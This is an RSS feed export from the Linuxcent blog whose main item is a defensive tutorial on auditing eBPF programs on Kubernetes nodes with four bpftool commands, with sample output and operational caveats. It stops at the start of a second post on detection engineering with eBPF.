<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>eBPF Archives - Linuxcent</title>
	<atom:link href="https://linuxcent.com/tag/ebpf/feed/" rel="self" type="application/rss+xml" />
	<link>https://linuxcent.com/tag/ebpf/</link>
	<description>Infrastructure security, from the kernel up.</description>
	<lastBuildDate>Tue, 07 Jul 2026 03:13:25 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0.4</generator>

<image>
	<url>https://linuxcent.com/wp-content/uploads/2026/04/favicon-512x512-1-150x150.png</url>
	<title>eBPF Archives - Linuxcent</title>
	<link>https://linuxcent.com/tag/ebpf/</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">211632295</site>	<item>
		<title>The Audit Playbook — Four Commands to See Any Cluster</title>
		<link>https://linuxcent.com/the-audit-playbook-four-commands-to-see-any-cluster/</link>
					<comments>https://linuxcent.com/the-audit-playbook-four-commands-to-see-any-cluster/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Tue, 14 Jul 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[eBPF]]></category>
		<category><![CDATA[Audit]]></category>
		<category><![CDATA[bpftool]]></category>
		<category><![CDATA[Kubernetes]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[SRE]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=2228</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 8</span> <span class="rt-label rt-postfix">minutes</span></span>eBPF: From Kernel to Cloud, Episode 14 What Is eBPF? · The BPF Verifier · eBPF vs Kernel Modules · eBPF Program Types · eBPF Maps · CO-RE and libbpf · XDP · TC eBPF · bpftrace · Network Flow Observability · DNS Observability · LSM and Tetragon · Process Lineage · The Audit Playbook ... <a title="The Audit Playbook — Four Commands to See Any Cluster" class="read-more" href="https://linuxcent.com/the-audit-playbook-four-commands-to-see-any-cluster/" aria-label="Read more about The Audit Playbook — Four Commands to See Any Cluster">Read more</a></p>
<p>The post <a href="https://linuxcent.com/the-audit-playbook-four-commands-to-see-any-cluster/">The Audit Playbook — Four Commands to See Any Cluster</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 8</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><em>eBPF: From Kernel to Cloud, Episode 14</em><br />
<a href="/what-is-ebpf-linux-kubernetes/">What Is eBPF?</a> · <a href="/bpf-verifier-kubernetes-safety/">The BPF Verifier</a> · <a href="/ebpf-vs-kernel-modules-kubernetes/">eBPF vs Kernel Modules</a> · <a href="/ebpf-program-types-kubernetes/">eBPF Program Types</a> · <a href="/ebpf-maps-explained/">eBPF Maps</a> · <a href="/ebpf-co-re-libbpf-portable-programs/">CO-RE and libbpf</a> · <a href="/ebpf-xdp-kubernetes-networking/">XDP</a> · <a href="/tc-ebpf-kubernetes-network-policy/">TC eBPF</a> · <a href="/bpftrace-kernel-observability/">bpftrace</a> · <a href="/ebpf-network-flow-observability/">Network Flow Observability</a> · <a href="/ebpf-dns-observability-kubernetes/">DNS Observability</a> · <a href="/ebpf-lsm-tetragon-runtime-security/">LSM and Tetragon</a> · <a href="/ebpf-process-lineage-incident-response/">Process Lineage</a> · <strong>The Audit Playbook</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>You can audit eBPF programs on any Kubernetes cluster with four <code class="" data-line="">bpftool</code> commands, regardless of which vendor&#8217;s tool loaded them — <code class="" data-line="">prog show</code>, <code class="" data-line="">map show</code>, <code class="" data-line="">net show</code> (plus <code class="" data-line="">cgroup tree</code>), and <code class="" data-line="">prog dump xlated</code><br />
  <em>(bpftool = the kernel-shipped CLI for inspecting loaded eBPF programs and maps directly, independent of any userspace agent or vendor tooling)</em></li>
<li><code class="" data-line="">bpftool prog show</code> gives you the inventory: every loaded program, its type, and — via its pinned path — usually which tool owns it</li>
<li><code class="" data-line="">bpftool map show</code> gives you the state: what data each program is reading or writing, cross-referenced by the <code class="" data-line="">map_ids</code> from the first command</li>
<li><code class="" data-line="">bpftool net show</code> and <code class="" data-line="">bpftool cgroup tree</code> give you the attachment points: which interface, which qdisc, which cgroup hook — where enforcement actually happens</li>
<li><code class="" data-line="">bpftool prog dump xlated</code> gives you the behavior: what the program does at the instruction level, for the cases where the pinned path doesn&#8217;t tell you enough</li>
<li>This sequence works whether the cluster is running Cilium, Falco, Tetragon, a hand-rolled XDP filter, or something with no documentation at all — the kernel doesn&#8217;t care who loaded the program</li>
</ul>
<hr />
<p>You inherit a cluster with no runbook, no README, and no answer to &#8220;what&#8217;s making the policy decisions.&#8221; Something on these nodes is dropping packets, or blocking execs, or both — and you have about ten minutes before the incident call starts. <code class="" data-line="">kubectl get pods -A</code> tells you nothing; whatever this is doesn&#8217;t run as a normal pod workload you can just describe.</p>
<h2 id="quick-check-is-anything-actually-loaded-on-this-node">Quick Check: Is Anything Actually Loaded on This Node?</h2>
<pre><code class="" data-line=""># On any cluster node — count loaded eBPF programs
bpftool prog show | wc -l

# Expected output (a cluster running Cilium + Tetragon):
# 47
</code></pre>
<pre><code class="" data-line=""># Break it down by program type
bpftool prog show | grep -oE &#039;^\S+:\s+\K\S+&#039; 2&gt;/dev/null || \
bpftool prog show -j | jq -r &#039;.[].type&#039; | sort | uniq -c

#   12 cgroup_skb      ← Cilium&#039;s per-cgroup socket filtering
#    8 sched_cls       ← TC programs (Cilium&#039;s netdev enforcement, from EP08)
#    6 kprobe          ← Tetragon&#039;s syscall hooks (from EP12)
#    4 tracepoint      ← process/exec tracing (from EP13)
#    2 xdp             ← XDP fast-path filtering (from EP07)
</code></pre>
<blockquote>
<p><strong>Not running Cilium or Tetragon? On EKS or GKE?</strong> The count won&#8217;t be zero even on a &#8220;vanilla&#8221; managed cluster — kube-proxy&#8217;s eBPF mode (if enabled), the CNI&#8217;s own eBPF datapath, and any sidecar-less service mesh all load programs. A count of zero on a production node is itself worth investigating; it usually means you&#8217;re looking at a node pool that hasn&#8217;t finished bootstrapping, or <code class="" data-line="">bpftool</code> is running in a mount namespace that can&#8217;t see the host&#8217;s BPF filesystem.</p>
</blockquote>
<p>Forty-seven loaded programs and no idea which ones matter. That&#8217;s the audit playbook&#8217;s job: turn &#8220;something is loaded&#8221; into &#8220;here is exactly what it is, what it holds, where it enforces, and what it does&#8221; — four commands, in order, no vendor documentation required.</p>
<h2 id="command-1-inventory-whats-loaded-and-who-owns-it">Command 1: Inventory — What&#8217;s Loaded, and Who Owns It</h2>
<p><code class="" data-line="">bpftool prog show</code> lists every eBPF program currently loaded into the kernel on that node, regardless of which process or tool loaded it. The kernel tracks programs independently of the userspace agent that created them — the program keeps running even if that agent&#8217;s pod is deleted.</p>
<pre><code class="" data-line="">bpftool prog show
</code></pre>
<pre><code class="" data-line="">6: cgroup_skb  tag 6deef7357e7b4530  gpl
    loaded_at 2026-06-02T03:14:22+0000  uid 0
    xlated 296B  jited 187B  memlock 4096B  map_ids 4,5
142: sched_cls  name cil_from_netdev  tag a04f5eef06a7f555  gpl
    loaded_at 2026-06-02T03:15:01+0000  uid 0
    xlated 12664B  jited 7532B  memlock 16384B  map_ids 9,10,11,14
    pinned /sys/fs/bpf/tc/globals/cil_from_netdev
201: kprobe  name generic_kprobe_e  tag 88df3d0a1c9e2b41  gpl
    loaded_at 2026-06-02T04:02:18+0000  uid 0
    xlated 3184B  jited 1980B  memlock 8192B  map_ids 22,23
    pinned /sys/fs/bpf/tetragon/generic_kprobe_e
</code></pre>
<blockquote>
<p><strong>Program <code class="" data-line="">tag</code></strong> — a SHA hash of the program&#8217;s instruction stream, computed by the kernel at load time. Two programs with the same tag are running byte-identical bytecode, even if they were loaded by different processes or have different names. It&#8217;s how you confirm two clusters are actually running the same version of a security tool without comparing source.</p>
<p><strong>Pinned path</strong> — a program pinned to <code class="" data-line="">/sys/fs/bpf/...</code> survives after the process that loaded it exits, because the reference is held by a file in the in-kernel BPF filesystem instead of by an open file descriptor in a running process. Most production tools pin their programs; ad hoc programs loaded by a one-off script usually don&#8217;t, and disappear the moment that script&#8217;s process exits.</p>
</blockquote>
<p>The <code class="" data-line="">pinned</code> field is doing most of the audit work here. <code class="" data-line="">/sys/fs/bpf/tc/globals/...</code> is Cilium&#8217;s convention. <code class="" data-line="">/sys/fs/bpf/tetragon/...</code> is Tetragon&#8217;s. Falco&#8217;s kernel-module and eBPF probe modes typically pin under <code class="" data-line="">/sys/fs/bpf/falco*</code>. A program with no <code class="" data-line="">pinned</code> line at all was loaded without a persistent reference — worth asking what process is holding its file descriptor open, because if that process dies, the program unloads.</p>
<blockquote>
<p><strong>For operators (not writing eBPF):</strong> if a security tool&#8217;s DaemonSet pod restarts and its programs <em>don&#8217;t</em> reappear in <code class="" data-line="">bpftool prog show</code> after the container comes back up, that&#8217;s a real signal — the tool failed to re-pin or re-attach, and you&#8217;re running with a gap in coverage even though the pod shows <code class="" data-line="">Running</code>. This is a more reliable health check than the pod&#8217;s own readiness probe, which usually only checks that the userspace agent process is alive.</p>
</blockquote>
<h2 id="command-2-state-what-data-these-programs-are-keeping">Command 2: State — What Data These Programs Are Keeping</h2>
<p>Every <code class="" data-line="">map_ids</code> value in the <code class="" data-line="">prog show</code> output points at a BPF map — the persistent, kernel-resident data structure the program reads or writes on every invocation (see <a href="/ebpf-maps-explained/">eBPF Maps</a> for how these work). <code class="" data-line="">bpftool map show</code> inventories them the same way.</p>
<pre><code class="" data-line="">bpftool map show id 9
</code></pre>
<pre><code class="" data-line="">9: hash  name cilium_lb4_service  flags 0x0
    key 8B  value 24B  max_entries 65536  memlock 6291456B
</code></pre>
<pre><code class="" data-line="">bpftool map show id 22
</code></pre>
<pre><code class="" data-line="">22: lru_hash  name tg_execve_map  flags 0x0
    key 4B  value 128B  max_entries 32768  memlock 12582912B
    pinned /sys/fs/bpf/tetragon/tg_execve_map
</code></pre>
<p>Map ID 9 is a service load-balancer table — 65,536 entries, keyed by a service identifier. Map ID 22 is Tetragon&#8217;s exec cache (the same process-tracking structure covered in <a href="/ebpf-process-lineage-incident-response/">process lineage reconstruction</a>), an LRU hash that evicts its oldest entries once 32,768 processes have been tracked.</p>
<p>The name field alone often tells you what the map is for — <code class="" data-line="">cilium_lb4_service</code>, <code class="" data-line="">tg_execve_map</code> — because most production tools name their maps descriptively rather than leaving them anonymous. When a map has no descriptive name, dump a few entries and read the shape of the data:</p>
<pre><code class="" data-line="">bpftool map dump id 9 | head -5
</code></pre>
<pre><code class="" data-line="">key: 0a 00 00 01 00 00 00 50  value: c0 a8 01 0a 00 00 00 50 00 00 00 01 ...
</code></pre>
<p>Raw bytes without a BTF type description are harder to read, but the sizes still tell you something: an 8-byte key and 24-byte value, repeated 65,536 times, is a fixed-size lookup table — consistent with a service or connection map, not a log or event buffer.</p>
<h2 id="command-3-attachment-where-enforcement-actually-happens">Command 3: Attachment — Where Enforcement Actually Happens</h2>
<p>Inventory and state tell you what&#8217;s loaded and what it remembers. They don&#8217;t tell you where in the packet or syscall path the program actually runs. <code class="" data-line="">bpftool net show</code> answers that for network-attached programs (XDP and TC, from <a href="/ebpf-xdp-kubernetes-networking/">EP07</a> and <a href="/tc-ebpf-kubernetes-network-policy/">EP08</a>); <code class="" data-line="">bpftool cgroup tree</code> answers it for cgroup-attached programs (socket and syscall hooks).</p>
<pre><code class="" data-line="">bpftool net show
</code></pre>
<pre><code class="" data-line="">xdp:
eth0(2) driver id 88 tag 3b185187f1855c4c

tc:
eth0(2) clsact/ingress cil_from_netdev id 142
eth0(2) clsact/egress cil_to_netdev id 143
</code></pre>
<pre><code class="" data-line="">bpftool cgroup tree
</code></pre>
<pre><code class="" data-line="">CgroupPath
ID       AttachType      AttachFlags     Name
/sys/fs/cgroup
         6        cgroup_skb      multi
        18        cgroup_sock_addr multi           cil_sock4_connect
</code></pre>
<p>Program ID 142 — the same <code class="" data-line="">cil_from_netdev</code> you saw in the <code class="" data-line="">prog show</code> output — is attached to <code class="" data-line="">eth0</code>&#8216;s ingress <code class="" data-line="">clsact</code> qdisc. That&#8217;s a direct answer to &#8220;is something making kernel-level policy decisions on this interface&#8221;: yes, at TC ingress, before the packet reaches any userspace process. Program ID 6 (<code class="" data-line="">cgroup_skb</code>) is attached at the root cgroup with <code class="" data-line="">multi</code> flags, meaning it stacks with other programs there rather than replacing them — the enforcement isn&#8217;t exclusive to one tool.</p>
<blockquote>
<p><strong><code class="" data-line="">multi</code> vs exclusive attach flags:</strong> cgroup and TC attachments can either replace whatever was attached before (exclusive) or stack alongside it (<code class="" data-line="">multi</code>/<code class="" data-line="">BPF_F_ALLOW_MULTI</code>). A cluster running more than one eBPF-based tool at the same hook point relies on <code class="" data-line="">multi</code> attachment; if you see an exclusive attach where you expected two tools to coexist, one of them silently lost its hook.</p>
</blockquote>
<h2 id="command-4-behavior-what-it-actually-does">Command 4: Behavior — What It Actually Does</h2>
<p>The first three commands answer what&#8217;s loaded, what it remembers, and where it runs. They don&#8217;t answer what it <em>does</em> — and that matters when the pinned path is missing, unfamiliar, or you don&#8217;t trust it. <code class="" data-line="">bpftool prog dump xlated</code> shows the program&#8217;s instructions after the verifier&#8217;s transformations, in a readable pseudo-assembly.</p>
<pre><code class="" data-line="">bpftool prog dump xlated id 142 | head -12
</code></pre>
<pre><code class="" data-line="">   0: (b7) r0 = 0
   1: (61) r2 = *(u32 *)(r1 +76)
   2: (61) r3 = *(u32 *)(r1 +80)
   3: (bf) r1 = r6
   4: (85) call bpf_skb_load_bytes#26
   5: (16) if w0 == 0x8 goto pc+3
   6: (05) goto pc+9
   7: (61) r1 = *(u32 *)(r6 +0)
   8: (55) r1 != 0x800 goto pc+7
</code></pre>
<p>You don&#8217;t need to hand-trace every instruction to get value out of this. Look for the helper calls — <code class="" data-line="">bpf_skb_load_bytes</code>, <code class="" data-line="">bpf_map_lookup_elem</code>, <code class="" data-line="">bpf_redirect</code>, <code class="" data-line="">bpf_ktime_get_ns</code> — because they name the kernel facilities the program actually touches. A program whose xlated dump is full of <code class="" data-line="">bpf_map_lookup_elem</code> and comparison instructions against <code class="" data-line="">0x800</code> (IPv4&#8217;s EtherType) is doing packet classification. One full of <code class="" data-line="">bpf_probe_read</code> and <code class="" data-line="">bpf_get_current_task</code> is reading process or memory state, not packets — a strong signal you&#8217;re looking at an observability or enforcement hook, not a network one, whatever its pinned path claims.</p>
<blockquote>
<p><strong>For operators (not writing eBPF):</strong> you will not read xlated dumps line by line during an incident. What you&#8217;re checking for is much narrower — does the helper call list match what the tool&#8217;s marketing says it does? A program that claims to be &#8220;read-only observability&#8221; but calls <code class="" data-line="">bpf_skb_store_bytes</code> (which <em>writes</em> packet data) is not read-only. That mismatch is worth escalating before you trust the tool&#8217;s own dashboard.</p>
</blockquote>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<p><strong><code class="" data-line="">bpftool</code> needs <code class="" data-line="">CAP_BPF</code> or root, and managed nodes don&#8217;t hand that out by default.</strong> On EKS and GKE, you typically can&#8217;t SSH to a node directly. Use <code class="" data-line="">kubectl debug node/&lt;node-name&gt; --image=&lt;image-with-bpftool&gt; -it -- chroot /host</code> to get a privileged shell with host PID and network namespace access, or the cloud provider&#8217;s session-manager equivalent (AWS SSM, <code class="" data-line="">gcloud compute ssh</code>). Confirm the debug image actually ships <code class="" data-line="">bpftool</code> — it&#8217;s not in most minimal base images.</p>
<p><strong>Program IDs are node-local and not stable across restarts.</strong> ID 142 today may be ID 89 after the node reboots and the DaemonSet reloads its programs. Don&#8217;t hardcode IDs in runbooks; always start from <code class="" data-line="">bpftool prog show</code> on the specific node and re-derive the ID for that session.</p>
<p><strong><code class="" data-line="">xlated</code> and <code class="" data-line="">jited</code> dumps require the kernel to have kept the debug info.</strong> Some hardened kernel configs strip <code class="" data-line="">CONFIG_BPF_JIT_ALWAYS_ON</code> debug metadata or disable <code class="" data-line="">kernel.bpf_stats_enabled</code>, in which case <code class="" data-line="">prog dump</code> returns less than shown here. If dumps come back empty, check <code class="" data-line="">sysctl kernel.bpf_stats_enabled</code> before assuming the program itself is hiding something.</p>
<p><strong><code class="" data-line="">bpftool cgroup tree</code> only shows attachments below the cgroup you run it from.</strong> On a Kubernetes node, run it from the root of the host&#8217;s cgroup filesystem (typically after the <code class="" data-line="">chroot /host</code> from the debug pod above), not from inside a container&#8217;s own cgroup namespace, or you&#8217;ll only see a fraction of the attachments.</p>
<p><strong>Pinned paths are a convention, not a guarantee.</strong> Nothing stops a tool from pinning under an unexpected path, or not pinning at all. Treat the pinned-path-to-vendor mapping as a strong hint that narrows your investigation, not as ground truth — confirm ownership with the <code class="" data-line="">tag</code> (command 1) against the vendor&#8217;s published program hashes when it matters for an incident, not just a routine audit.</p>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<table>
<thead>
<tr>
<th>What you want to know</th>
<th>Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>What&#8217;s loaded</td>
<td><code class="" data-line="">bpftool prog show</code></td>
</tr>
<tr>
<td>Program count by type</td>
<td><code class="" data-line="">bpftool prog show -j \| jq -r &#039;.[].type&#039; \| sort \| uniq -c</code></td>
</tr>
<tr>
<td>What state a program keeps</td>
<td><code class="" data-line="">bpftool map show id &lt;N&gt;</code> (from <code class="" data-line="">map_ids</code> in prog show)</td>
</tr>
<tr>
<td>Sample map contents</td>
<td><code class="" data-line="">bpftool map dump id &lt;N&gt; \| head</code></td>
</tr>
<tr>
<td>Where it&#8217;s attached (network)</td>
<td><code class="" data-line="">bpftool net show</code></td>
</tr>
<tr>
<td>Where it&#8217;s attached (cgroup)</td>
<td><code class="" data-line="">bpftool cgroup tree</code></td>
</tr>
<tr>
<td>What it actually does</td>
<td><code class="" data-line="">bpftool prog dump xlated id &lt;N&gt;</code></td>
</tr>
<tr>
<td>Confirm identical bytecode across nodes</td>
<td>Compare <code class="" data-line="">tag</code> values from <code class="" data-line="">prog show</code></td>
</tr>
<tr>
<td>Privileged shell on a managed node</td>
<td><code class="" data-line="">kubectl debug node/&lt;name&gt; --image=&lt;img&gt; -it -- chroot /host</code></td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>Four <code class="" data-line="">bpftool</code> commands audit any eBPF-based tool on any Kubernetes cluster, regardless of vendor: <code class="" data-line="">prog show</code> (inventory), <code class="" data-line="">map show</code> (state), <code class="" data-line="">net show</code>/<code class="" data-line="">cgroup tree</code> (attachment), <code class="" data-line="">prog dump xlated</code> (behavior)</li>
<li>The kernel tracks loaded programs independently of the userspace agent that loaded them — a program&#8217;s pinned path under <code class="" data-line="">/sys/fs/bpf/...</code> usually identifies its owning tool by convention, but that convention is not enforced by the kernel</li>
<li>A program&#8217;s <code class="" data-line="">tag</code> is a hash of its bytecode; matching tags across nodes confirm identical program versions without comparing source or vendor documentation</li>
<li><code class="" data-line="">map_ids</code> in <code class="" data-line="">prog show</code> output link directly to <code class="" data-line="">bpftool map show</code>, letting you trace from &#8220;a program is loaded&#8221; to &#8220;here&#8217;s exactly what data it reads and writes&#8221;</li>
<li><code class="" data-line="">bpftool net show</code> and <code class="" data-line="">cgroup tree</code> answer where enforcement happens in the packet or syscall path — the same question the opening incident needed answered in ten minutes</li>
<li>When the pinned path and tag aren&#8217;t enough, <code class="" data-line="">bpftool prog dump xlated</code> shows the actual kernel helper calls the program makes, which is the only way to confirm behavior when there&#8217;s no documentation to trust</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>EP14 is the audit playbook — the four commands you run in the first ten minutes on any cluster you&#8217;ve inherited, before you trust anything its existing tools tell you about themselves. EP15 goes deeper on one specific case where this matters most: Cilium&#8217;s own policy engine telling you traffic is allowed while packets keep dropping. <code class="" data-line="">bpftool map dump</code> on the right map — not <code class="" data-line="">cilium policy get</code> — is what shows you what&#8217;s actually being enforced.</p>
<p><em>Next: <a href="/cilium-policy-verification-bpftool/">Cilium policy verification — what bpftool shows that cilium policy get doesn&#8217;t</a></em></p>
<p>Get EP15 in your inbox when it publishes → <a href="https://linuxcent.com/subscribe">linuxcent.com/subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fthe-audit-playbook-four-commands-to-see-any-cluster%2F&amp;linkname=The%20Audit%20Playbook%20%E2%80%94%20Four%20Commands%20to%20See%20Any%20Cluster" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fthe-audit-playbook-four-commands-to-see-any-cluster%2F&amp;linkname=The%20Audit%20Playbook%20%E2%80%94%20Four%20Commands%20to%20See%20Any%20Cluster" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fthe-audit-playbook-four-commands-to-see-any-cluster%2F&amp;linkname=The%20Audit%20Playbook%20%E2%80%94%20Four%20Commands%20to%20See%20Any%20Cluster" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fthe-audit-playbook-four-commands-to-see-any-cluster%2F&amp;linkname=The%20Audit%20Playbook%20%E2%80%94%20Four%20Commands%20to%20See%20Any%20Cluster" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fthe-audit-playbook-four-commands-to-see-any-cluster%2F&amp;linkname=The%20Audit%20Playbook%20%E2%80%94%20Four%20Commands%20to%20See%20Any%20Cluster" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fthe-audit-playbook-four-commands-to-see-any-cluster%2F&amp;linkname=The%20Audit%20Playbook%20%E2%80%94%20Four%20Commands%20to%20See%20Any%20Cluster" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fthe-audit-playbook-four-commands-to-see-any-cluster%2F&amp;linkname=The%20Audit%20Playbook%20%E2%80%94%20Four%20Commands%20to%20See%20Any%20Cluster" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fthe-audit-playbook-four-commands-to-see-any-cluster%2F&#038;title=The%20Audit%20Playbook%20%E2%80%94%20Four%20Commands%20to%20See%20Any%20Cluster" data-a2a-url="https://linuxcent.com/the-audit-playbook-four-commands-to-see-any-cluster/" data-a2a-title="The Audit Playbook — Four Commands to See Any Cluster"></a></p><p>The post <a href="https://linuxcent.com/the-audit-playbook-four-commands-to-see-any-cluster/">The Audit Playbook — Four Commands to See Any Cluster</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/the-audit-playbook-four-commands-to-see-any-cluster/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">2228</post-id>	</item>
		<item>
		<title>Detection Engineering with eBPF: Kernel-Level Visibility for Cloud Incidents</title>
		<link>https://linuxcent.com/detection-engineering-ebpf-cloud/</link>
					<comments>https://linuxcent.com/detection-engineering-ebpf-cloud/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Mon, 06 Jul 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[Purple Team]]></category>
		<category><![CDATA[Detection Engineering]]></category>
		<category><![CDATA[eBPF]]></category>
		<category><![CDATA[Falco]]></category>
		<category><![CDATA[Kubernetes]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Tetragon]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1873</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 13</span> <span class="rt-label rt-postfix">minutes</span></span>eBPF gives detection engineers kernel-level visibility that no attacker can evade without kernel access. Build detection rules for the techniques your SIEM misses entirely.</p>
<p>The post <a href="https://linuxcent.com/detection-engineering-ebpf-cloud/">Detection Engineering with eBPF: Kernel-Level Visibility for Cloud Incidents</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 13</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
